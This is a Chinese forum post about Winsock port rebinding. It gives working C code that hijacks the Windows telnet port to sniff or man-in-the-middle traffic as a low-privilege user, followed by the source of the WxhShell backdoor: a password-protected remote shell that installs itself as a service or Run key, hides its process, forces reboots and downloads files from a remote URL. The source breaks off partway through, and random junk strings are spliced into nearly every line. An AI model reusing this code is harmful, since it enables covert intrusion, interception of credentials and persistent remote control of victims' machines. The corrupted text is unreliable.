社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16970阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~K_Uq*dCE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pI`?(5iK6|  
!SOrCMHx  
  saddr.sin_family = AF_INET; W><Zn=G4)b  
HYr}wG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); % u{W7  
z:Sigo_z[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !%mAh81{&/  
z5\;OLJS,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &tR(n$ M@>  
D,l,`jv*  
  这意味着什么?意味着可以进行如下的攻击: w-B^ [<  
E&$_`m;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8Chj w wB  
eS/B24;*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KP;(Q+qTx  
pC,o2~%{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PrQ?PvA<L  
RNVbcd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D:\g,\Z  
pV p:@0h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dth&?/MERL  
1&=0Wg0ig  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f67NWFX  
^he=)rBb?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =tTqN+4  
|iFVh$N  
  #include w JwX[\  
  #include ` >!n  
  #include GnXNCeE`  
  #include    - "*r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NIr@R7MKd  
  int main() 31+;]W=  
  { :m=m}3/:  
  WORD wVersionRequested; W) j|rz.  
  DWORD ret; Wm'QP4`  
  WSADATA wsaData; 9&%fq)gS  
  BOOL val; 5y2? f  
  SOCKADDR_IN saddr; 5M]z5}n/  
  SOCKADDR_IN scaddr; x Ha=3n  
  int err; y@bcYOh3  
  SOCKET s; Sx gYjIa-  
  SOCKET sc; jg  2qGC  
  int caddsize; 5pNY)>]t=  
  HANDLE mt; O[17";P  
  DWORD tid;   ;Lw{XqT  
  wVersionRequested = MAKEWORD( 2, 2 ); 2g*J  
  err = WSAStartup( wVersionRequested, &wsaData ); R)?{]]v  
  if ( err != 0 ) { ln*icaDqf  
  printf("error!WSAStartup failed!\n"); R`Aj|C z  
  return -1; kpwt]]e*  
  } XB hb`AG  
  saddr.sin_family = AF_INET; z9 u$~  
   -37a.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %HQ.|  
;T]d M fO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AEmNHO@%q  
  saddr.sin_port = htons(23); I|oT0y &  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,7Y-k'7Kop  
  { +^aFs S  
  printf("error!socket failed!\n"); J`M&{UP  
  return -1; C;AA/4Ib  
  } ?q`0ZuAg\<  
  val = TRUE; 6SJ"Tni8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hi! Jj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K)7zKEp`cj  
  { &ej8mq"\  
  printf("error!setsockopt failed!\n"); +@9gkPQQ-@  
  return -1; >$677  
  } J;t 7&Zpe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c97{Pu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rx07trfN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QZAB=rR  
%Kh4m7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RhI;;Y#@  
  { _Jz8{` "  
  ret=GetLastError(); }/dRU${!  
  printf("error!bind failed!\n"); :6J +%(f  
  return -1; D(W,yq~7uY  
  } 4nfu6Dq  
  listen(s,2); ,ea^,H6  
  while(1) iq#b#PYA  
  { sRVIH A ,  
  caddsize = sizeof(scaddr); rj ]F87"  
  //接受连接请求 F~#zxwd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L(S'6z~_9  
  if(sc!=INVALID_SOCKET) \b V6@#,  
  { !{et8F@d|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xm2\0=v5;  
  if(mt==NULL) d9*hBm  
  { :%&Q-kk4!  
  printf("Thread Creat Failed!\n"); 0Q,g7K<d  
  break; b2(RpY2Y  
  } GY3 Wj  
  } ]G.%Ty  
  CloseHandle(mt); %t=kdc0=_  
  } [97:4.  
  closesocket(s); <P ,~eX(r  
  WSACleanup(); S0h'50WteJ  
  return 0; VpfUm?Nq  
  }   8*SDiZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) {%)s.5Pfw  
  { _cTh#t ^  
  SOCKET ss = (SOCKET)lpParam; X5fmz%VK@  
  SOCKET sc; 8bK|:B#6,  
  unsigned char buf[4096]; JTqDr  
  SOCKADDR_IN saddr; OV2 -8ERS  
  long num; Tm^89I]L  
  DWORD val; N- e$^pST  
  DWORD ret; }<@j'Ok}.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (@X~VACT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I4;A8I  
  saddr.sin_family = AF_INET; R2etB*k6[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %+ 7p lM  
  saddr.sin_port = htons(23); bawJ$_O_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k$ 5 s{q  
  { I jr\5FA[p  
  printf("error!socket failed!\n"); #Lsnr.80  
  return -1; mS>xGtD&K  
  } ]3ONFa  
  val = 100; &uP~rEJl+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~vLW.:  
  { rqv))Zo`  
  ret = GetLastError(); J{[n?/A{  
  return -1; V$0dtvGvH  
  } 4p;aS$Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UT~a &u  
  { R(.}C)q3  
  ret = GetLastError(); }nt* [:%  
  return -1; $,I q;*7N  
  } 4?N8R$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %6 Q4yk  
  { ^@P1 JNe  
  printf("error!socket connect failed!\n"); 6cqP2!~  
  closesocket(sc); GdB.4s^  
  closesocket(ss); tg^sCxz9]  
  return -1; T5urZq*R  
  } *5tO0_L  
  while(1) )9,  
  { y(R? ,wa=]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FZreP.2)!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [dtbkQt,c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r&-m=Kk$  
  num = recv(ss,buf,4096,0); Z*G(5SqUh"  
  if(num>0) L lqM c  
  send(sc,buf,num,0); yA{W  
  else if(num==0) b~dIk5>O  
  break; 1[_mEtM:]B  
  num = recv(sc,buf,4096,0); e1//4H::t  
  if(num>0) &d7Z6P'`G  
  send(ss,buf,num,0); +_-bJo2a  
  else if(num==0) tx?dIy;  
  break; No2b" G@  
  } k X {0y  
  closesocket(ss); iy""(c  
  closesocket(sc); =PGs{?+&O  
  return 0 ; h|X^dQb]  
  } "~TA SX_?  
QMv@:Eo  
R^{)D3  
========================================================== E2)h ?cs  
8[6o (  
下边附上一个代码,,WXhSHELL q7u'_ R,;  
o\vBOp?hj  
========================================================== @F(mi1QO  
){jl a,[  
#include "stdafx.h" n~VD uKn9  
:[;hu}!&  
#include <stdio.h> 6(P M'@i  
#include <string.h> HR}bbsqxVf  
#include <windows.h> \"hJCP?,  
#include <winsock2.h> 9@+5LZR  
#include <winsvc.h> F;^F+H  
#include <urlmon.h> C]Q8:6b  
4Qn$9D+?  
#pragma comment (lib, "Ws2_32.lib") N&@}/wzZ  
#pragma comment (lib, "urlmon.lib")   TX  
||yzt!n  
#define MAX_USER   100 // 最大客户端连接数 ON+J>$[[  
#define BUF_SOCK   200 // sock buffer `({T]@]V  
#define KEY_BUFF   255 // 输入 buffer Jmx Ko+-  
},|M9 I0  
#define REBOOT     0   // 重启 E!S 78 z:  
#define SHUTDOWN   1   // 关机 T0]MuIJ).  
v+9 9 -.  
#define DEF_PORT   5000 // 监听端口 >M&3Y XC  
'uy/o)L  
#define REG_LEN     16   // 注册表键长度 Mw9 \EhA  
#define SVC_LEN     80   // NT服务名长度 b+Br=Fv"T  
EYA,hc  
// 从dll定义API J=/5}u_gw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )=Jk@yj8x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); irjP>3_e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dd` Mv$*d8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v$^Z6>vVI  
;J7F J3n  
// wxhshell配置信息 0Fu~%~#E$  
struct WSCFG { tJN<PCG6"  
  int ws_port;         // 监听端口 2WG>, 4W2  
  char ws_passstr[REG_LEN]; // 口令 i~r l o^  
  int ws_autoins;       // 安装标记, 1=yes 0=no z?35=%~w   
  char ws_regname[REG_LEN]; // 注册表键名 |fo0  
  char ws_svcname[REG_LEN]; // 服务名 itMg|%B%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bV"G~3COy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4bgqg0z>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tsk)zP,<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'F3)9&M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %iw3oh&Fkm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m4*@o?Ow  
@e{^`\l=<  
}; i&n'N8D@  
Dwzg/F(  
// default Wxhshell configuration 33}oO,}t,  
struct WSCFG wscfg={DEF_PORT, l} qE 46EL  
    "xuhuanlingzhe", _Zr.ba  
    1, - |gmQG  
    "Wxhshell", i7ly[6{^pr  
    "Wxhshell", n93=8;&  
            "WxhShell Service", GAAm0;  
    "Wrsky Windows CmdShell Service", Si~vDQ7"  
    "Please Input Your Password: ", QPq7R  
  1, V(E/'DR  
  "http://www.wrsky.com/wxhshell.exe", 0#MqD[U(  
  "Wxhshell.exe" &y#r;L<9  
    }; N 8-oY$*  
@$z<i `4  
// 消息定义模块 M %Qt|@O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (IPY^>h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iJ~Vl"|m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'g{9@PkGn  
char *msg_ws_ext="\n\rExit."; Km^&<3ch#  
char *msg_ws_end="\n\rQuit."; )l#E}Uz  
char *msg_ws_boot="\n\rReboot..."; h5K$mA5  
char *msg_ws_poff="\n\rShutdown..."; LlSZr)X  
char *msg_ws_down="\n\rSave to "; x+]\1p  
+[tP_%/r'^  
char *msg_ws_err="\n\rErr!"; *Aa?yg:=  
char *msg_ws_ok="\n\rOK!"; ~^cMys |'  
n\Lb.}]1~  
char ExeFile[MAX_PATH]; =xS+5(  
int nUser = 0; [0D Et   
HANDLE handles[MAX_USER]; ]EpWSs!"g  
int OsIsNt; /g4f`$a  
/Js7`r=Rx  
SERVICE_STATUS       serviceStatus; <Z/x,-^*<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -xP!"  
.e3+s*  
// 函数声明 ny54XjtG,  
int Install(void); RG4sQ0  
int Uninstall(void); *H|M;G  
int DownloadFile(char *sURL, SOCKET wsh); 9cj9SB4  
int Boot(int flag); Xp}Yw"7  
void HideProc(void); a.zpp'cEb  
int GetOsVer(void); 5;{H&O9Q  
int Wxhshell(SOCKET wsl); z+>}RT]  
void TalkWithClient(void *cs); piZJJYv t  
int CmdShell(SOCKET sock); vZBc !AW  
int StartFromService(void); &EnuE0BD  
int StartWxhshell(LPSTR lpCmdLine); ;I!MLI  
$-*!pRaVU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]S5JUAGkE*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j ku}QM^  
mOlI#5H  
// 数据结构和表定义 ,11H.E Z  
SERVICE_TABLE_ENTRY DispatchTable[] = *VZ5B<Ic  
{ v@d  
{wscfg.ws_svcname, NTServiceMain}, aT$9;  
{NULL, NULL} `kJ^zw+  
}; ) v,:N.@Q  
9uQ 4u/F  
// 自我安装 'u1?tQ=gmk  
int Install(void) 6}oXP_0U  
{ e[#j.|m  
  char svExeFile[MAX_PATH];  ({=gw9f  
  HKEY key; ' >rw(3  
  strcpy(svExeFile,ExeFile); KFwzy U"  
oTuOw|[  
// 如果是win9x系统,修改注册表设为自启动 w&KK3*=""  
if(!OsIsNt) { 8zR~d%pK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {b   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UQI]>#_/v  
  RegCloseKey(key); E0?iXSJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iS<I0\D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aj4T"^fv  
  RegCloseKey(key); [YcG(^^  
  return 0; BFOq8}fX2  
    } !f+H,]D"  
  } wL:flH@  
} LmnymcH  
else { i0$kit  
"PpN0Rr  
// 如果是NT以上系统,安装为系统服务 A?pbWt ~}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W!>.$4Q9  
if (schSCManager!=0) HI11Jl}{  
{ | ]X  
  SC_HANDLE schService = CreateService [a wjio  
  ( 9AJ7h9L  
  schSCManager, iB& 4>+N+  
  wscfg.ws_svcname, O6G0  
  wscfg.ws_svcdisp, sH[ROm  
  SERVICE_ALL_ACCESS,  D 'Zt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HEM9E&rL  
  SERVICE_AUTO_START, vG"=h%  
  SERVICE_ERROR_NORMAL, tyqT  
  svExeFile, z\%Ls   
  NULL, rMhB9zB1  
  NULL, $H9%J  
  NULL, trp0 V4b8  
  NULL, #odIEC/  
  NULL n*{sTT  
  ); *5^Q7``  
  if (schService!=0) ~,B5Hc 2  
  { -3=#u_  
  CloseServiceHandle(schService); D,k"PaLP  
  CloseServiceHandle(schSCManager); hj.a&%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZU%[guf  
  strcat(svExeFile,wscfg.ws_svcname); ]33>m|?@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y3o25}"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zp%Cr.)$  
  RegCloseKey(key); /q`xCS  
  return 0; |~vI3]}fx  
    } 5MtLT#C3r  
  } Nbi.\  
  CloseServiceHandle(schSCManager); &b%zQ4%d-`  
} U_n9]Z  
} zM(vr"U   
xY^ %&n  
return 1; OZ~5*v  
} jT]0WS-b  
"C{}Z  
// 自我卸载 HTS%^<u  
int Uninstall(void) G#u6Am)T  
{ m;GbLncA  
  HKEY key; )E-inHD /  
+ |#O@k  
if(!OsIsNt) { = 's(|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <4g{ fT0  
  RegDeleteValue(key,wscfg.ws_regname); sE Q=dcK  
  RegCloseKey(key); ZOeQ+j)|I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =pS5uR~  
  RegDeleteValue(key,wscfg.ws_regname); YW( Qmo7  
  RegCloseKey(key); 4;0lvDD  
  return 0; ]);%wy{Ho  
  } j)/nKh4O  
} H?&Mbw d  
} DkvF5c&  
else { d\R,Q  
I uMQ9 &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e} P I^bc  
if (schSCManager!=0) ZK@N5/H(  
{ 10q'Z}34  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4GY[7^  
  if (schService!=0) o4K ~  
  { Of[XKFn_  
  if(DeleteService(schService)!=0) { odjT:Vr  
  CloseServiceHandle(schService); o:3dfO%nuM  
  CloseServiceHandle(schSCManager); z8SmkL  
  return 0; LE9(fe) fe  
  } +#lM  
  CloseServiceHandle(schService); V@ cM|(  
  } v*SEb~[  
  CloseServiceHandle(schSCManager); 7Z\--=;|[:  
} gy 3i+J  
} jY% na HaI  
X.f>'0i  
return 1; ,!Z *5  
} %yW3VL  
&U5{Hm9Ynr  
// 从指定url下载文件 i+S) K  
int DownloadFile(char *sURL, SOCKET wsh) T_@K& <  
{ aTqd@},?  
  HRESULT hr; | r&k48@  
char seps[]= "/"; GVYBa_gx  
char *token; BGD8w2  
char *file; mpuq 9)6  
char myURL[MAX_PATH]; u'|4?"uz  
char myFILE[MAX_PATH]; Lvq>v0|  
\{Z; :,S  
strcpy(myURL,sURL); LcSX *MC  
  token=strtok(myURL,seps); ?'@8kpb  
  while(token!=NULL) bm?sbE  
  { ]B%v+uaW  
    file=token; _aad=BrMK  
  token=strtok(NULL,seps); s:#V(<J  
  } /%}*Xh  
Gb#Cm]  
GetCurrentDirectory(MAX_PATH,myFILE); s:/8[(A  
strcat(myFILE, "\\"); "$ Y_UJT7  
strcat(myFILE, file); U(Nu%  
  send(wsh,myFILE,strlen(myFILE),0); ![YX]+jqNp  
send(wsh,"...",3,0); #sPHdz'3M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VY;{/.Sa  
  if(hr==S_OK) w+#C-&z  
return 0; 1zm ulj%&  
else XQ9O$ ~q  
return 1; 4e~A1-  
P9^-6;'Y  
} R?~Yp?B^  
7n8~K3~;  
// 系统电源模块 s+,OxRVw(  
int Boot(int flag) \Xm,OE_v"  
{ M=F xB;v  
  HANDLE hToken; q>$ev)W  
  TOKEN_PRIVILEGES tkp; h{HF8>u[  
< Z{HX[y  
  if(OsIsNt) { Co (.:z~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iOR_[y,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3L833zL  
    tkp.PrivilegeCount = 1; zLD0RBj7p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v0-cd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /<@SFF.  
if(flag==REBOOT) { tZ=E')!\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) { /K.3  
  return 0; gVq;m>\|F  
} Pz>s6 [ob  
else {  tBq nf v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _/uFsYC  
  return 0; y.e^hRKb  
} OMWbZ>jB  
  } A+::O@_s  
  else { ROg(U8 N  
if(flag==REBOOT) { 6+.uU[x@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TD1 [  
  return 0; T&%ux=Jt  
} "x=f=;  
else { #33fGmd[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?o oe'V@  
  return 0; WF1px%  
} tZ} v%3  
} 6l5:1|8b,!  
&u /Nf&A  
return 1; 1<BX]-/tP  
} DF1I[b=]  
;3d"wW]}7K  
// win9x进程隐藏模块 }Mf!-g  
void HideProc(void) ^* J2'X38I  
{ Wc,~{  
i=i(%yQ%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9z}uc@#D=m  
  if ( hKernel != NULL ) f|h|q_<;  
  { *of3:w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ln?v j)j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q#vQv 5  
    FreeLibrary(hKernel); IhA5Wt0j  
  } plb!.g  
4SlADvGl  
return; tE@;X=  
} zA$k0p  
v%"|WV[N  
// 获取操作系统版本 ] 8Q4BW  
int GetOsVer(void) tNGp\~  
{ |+iws8xK?  
  OSVERSIONINFO winfo;  @2Z#x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BFL`!^  
  GetVersionEx(&winfo); jUSmq m'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S `#w+C#EW  
  return 1; =x<ge_Y  
  else 'NX```U0  
  return 0; EQf[,  
} o Z%9_$Z  
1+9W+$=h2  
// 客户端句柄模块 i'9vL:3  
int Wxhshell(SOCKET wsl) JsDpy{q  
{ p?B=1vn-2  
  SOCKET wsh; *MJX?  
  struct sockaddr_in client; 'yL%3h _@  
  DWORD myID; `glBV`?^  
@xbQYe%J  
  while(nUser<MAX_USER) GM3f- \/  
{ 2 dAB-d:k  
  int nSize=sizeof(client); S-k8jm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N'g>MBdI  
  if(wsh==INVALID_SOCKET) return 1; nq6@6GRG  
R $&o*K`?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xn5l0'2  
if(handles[nUser]==0) Olh<,p+x  
  closesocket(wsh); eu(:`uu  
else 0URji~?|x  
  nUser++;  OU8Lldt  
  } hS)'a^FV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =K6($|'=  
DpUbzr41+k  
  return 0; .Yf:[`Q6g  
} cUvz2TK  
Cq%IE^g<  
// 关闭 socket 1XD,uoxB  
void CloseIt(SOCKET wsh) m06ALD_  
{ C}_ ojcR  
closesocket(wsh); | h;0H`  
nUser--; m^b Nuo  
ExitThread(0); ^R# E:3e  
} @ Wd9I;hWv  
/(iFcMT  
// 客户端请求句柄 ]=>F.GE  
void TalkWithClient(void *cs) i'#E )  
{ i[?Vin  
f}x.jxY?  
  SOCKET wsh=(SOCKET)cs; FQqI<6;  
  char pwd[SVC_LEN]; wM2*#  
  char cmd[KEY_BUFF]; Mdl{}P0)  
char chr[1]; R )mu2 ^  
int i,j; T[j#M+p  
<})2#sZO!  
  while (nUser < MAX_USER) { aFS,GiB  
~])t 6i  
if(wscfg.ws_passstr) { bT^I"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R,pX:H&#+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4:r!|PJn{G  
  //ZeroMemory(pwd,KEY_BUFF); mg*qiScfW  
      i=0; . r[Hu40p  
  while(i<SVC_LEN) { x "^Xj]-  
X pBj%e:  
  // 设置超时 L{h%f4Du#  
  fd_set FdRead; m<j8cJ(  
  struct timeval TimeOut; 1 D<_N  
  FD_ZERO(&FdRead); [Pq}p0cD  
  FD_SET(wsh,&FdRead); ?TU}~}  
  TimeOut.tv_sec=8; \}p6v}  
  TimeOut.tv_usec=0; sB c (gr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w*oQ["SL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <gJU?$  
@U3Vc|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j( RWO  
  pwd=chr[0]; K }Vv4x1U  
  if(chr[0]==0xd || chr[0]==0xa) { 2JJ"O|Ibz  
  pwd=0; XT@-$%u  
  break; E#u l IgD  
  } l zYnw)Pv  
  i++; kH]yl 2  
    } Z; A`oKd  
&!/}Qp  
  // 如果是非法用户,关闭 socket x)rM/Kq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h $L/<3oP6  
} ML( E o  
|aT| l^2R@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v(EEG/~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +YqZ ((  
uWM{JEOl  
while(1) { vfq%H(  
4*e0 hWp  
  ZeroMemory(cmd,KEY_BUFF); 59O?_F9  
)FpZPdN+h  
      // 自动支持客户端 telnet标准   20Z8HwQi  
  j=0; 3>R#zJf  
  while(j<KEY_BUFF) { ? P( ZA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vzwc}k*Y  
  cmd[j]=chr[0]; $D}{]MN.  
  if(chr[0]==0xa || chr[0]==0xd) { U`Wauv&  
  cmd[j]=0; 2UFv9  
  break; hA33K #bC  
  } /Rg*~Ers *  
  j++; %oq[,h <X  
    } o9F/y=.r=  
A9kzq_ 3  
  // 下载文件 |m80]@>  
  if(strstr(cmd,"http://")) { EpFQ|.mQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Nmg07_R  
  if(DownloadFile(cmd,wsh)) U5He?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %5A+V0D0'  
  else OnK~3j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jSwf*u  
  } IiZ&Pr  
  else { hrhb!0  
H<}^'#"p  
    switch(cmd[0]) { 9Iz%ht  
  qHP78&wUx  
  // 帮助 `g6h9GC6  
  case '?': { Wh%ucX&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); opJMS6%r  
    break; k31I ysh  
  } r%.do;5  
  // 安装 ##EYH1P]  
  case 'i': { E[bd@[N 8  
    if(Install()) 2c:#O%d(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vsr[ur[eP  
    else R hvfC5Hq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Ne<V2AX  
    break; DNj "SF(J  
    } #*g5u{k'P  
  // 卸载 Pw;!uag  
  case 'r': { a'jR#MQl?  
    if(Uninstall()) Vw&HVo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp9- niW  
    else vMs$ceq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S-'fS2  
    break; }-o{ASC#  
    } SJ};TEA  
  // 显示 wxhshell 所在路径 dGFGr}&s  
  case 'p': { lME)?LOI  
    char svExeFile[MAX_PATH]; t6A:Z mG_  
    strcpy(svExeFile,"\n\r"); I~9hx*!%%  
      strcat(svExeFile,ExeFile); ~DsECnD  
        send(wsh,svExeFile,strlen(svExeFile),0); kr9g K~  
    break; ?w+Ix~k  
    } k!KDWb  
  // 重启 !DI{:I_h(  
  case 'b': { 0sh/|`\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pIKSs<IP  
    if(Boot(REBOOT)) ~~6^Sh60g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); en:4H   
    else { "n=vN<8(o  
    closesocket(wsh); Q lHd,w  
    ExitThread(0); YTjkPj:  
    } ^+1#[E  
